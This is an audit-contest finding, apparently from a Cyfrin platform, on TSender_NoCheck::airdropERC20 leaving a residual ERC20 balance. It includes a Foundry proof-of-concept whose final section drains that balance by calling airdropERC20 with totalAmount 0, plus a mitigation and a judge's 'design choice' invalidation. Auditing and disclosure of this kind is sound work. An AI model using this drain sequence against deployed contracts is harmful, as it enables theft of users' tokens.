TSender
Cyfrin
DeFiFoundry
15,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

`TSender_NoCheck::airdropERC20` can lead contract to have an ERC20 balance, being withdrawable by anyone

n0kto

Description

The TSender_NoCheck contract omits certain checks to save gas. However, one critical check that should be implemented is to ensure no ERC20 balance remains in the contract. This issue is not about someone intentionally sending ERC20 tokens or ether to the contract, as anyone can do that to any contract. The problem arises when the totalAmount transferred to the contract does not match the sum of amounts sent to recipients. This discrepancy could result in the contract retaining an ERC20 balance. Since the totalAmount is not checked, anyone can steal the remaining balance by setting totalAmount to 0 and designating themselves as the only recipient.

Risk

Likelyhood: Low

  • Users are aware of the risks associated with using Huff_NoCheck and are expected to double-check the amounts, but human error has always a probability.

Impact: High

  • TSender_NoCheck::airdropERC20 can lead to an indirect state: balance of ERC20.

  • Theft of funds.

Proof of Concept

Foundry PoC to add in `TSenderHuffNoCheckTest.t.sol`
function test_stealTokenAfterError() public {
address sender = makeAddr("sender");
uint256 numberOfRecipients = 100;
​
// Arrange
uint256 uint256Amount = ONE;
​
////////////// HUMAN ERRROR
uint256 expectedTotalAmount = ONE * numberOfRecipients + ONE;
​
vm.startPrank(sender);
mockERC20.mint(expectedTotalAmount);
mockERC20.approve(address(tSender), expectedTotalAmount);
vm.stopPrank();
​
address[] memory recipients = new address[](numberOfRecipients);
for (uint256 i = 0; i < numberOfRecipients; i++) {
recipients[i] = address(uint160(i + 25));
}
uint256[] memory amounts = new uint256[](numberOfRecipients);
for (uint256 i = 0; i < numberOfRecipients; i++) {
amounts[i] = uint256Amount;
}
​
// Act
vm.prank(sender);
tSender.airdropERC20(
address(mockERC20),
recipients,
amounts,
expectedTotalAmount
);
​
for (uint256 i = 25; i < numberOfRecipients + 25; i++) {
assertEq(mockERC20.balanceOf(address(uint160(i))), uint256Amount);
}
​
////////////// CONTRACT HAS A STATE
assertEq(mockERC20.balanceOf(address(tSender)), uint256Amount);
​
////////////// STEAL
address stealer = makeAddr("stealer");
vm.prank(stealer);
address[] memory stealing_recipients = new address[](1);
uint256[] memory stealing_amounts = new uint256[](1);
stealing_recipients[0] = stealer;
stealing_amounts[0] = ONE;
​
tSender.airdropERC20(
address(mockERC20),
stealing_recipients,
stealing_amounts,
0
);
​
assertEq(mockERC20.balanceOf(address(stealer)), ONE);
}

Recommended Mitigation

One possible solution is to send all the remaining balance to the sender at the end of the contract execution. However, this will increase gas consumption as two functions need to be called: balanceOf(address(this)) and transfer(sender, remainingAmount).

Alternatively, since gas efficiency is a priority for this contract, this issue could be documented as a known problem and users could be warned about it.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice
n0kto Submitter
about 1 year ago
patrickalphac Auditor
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.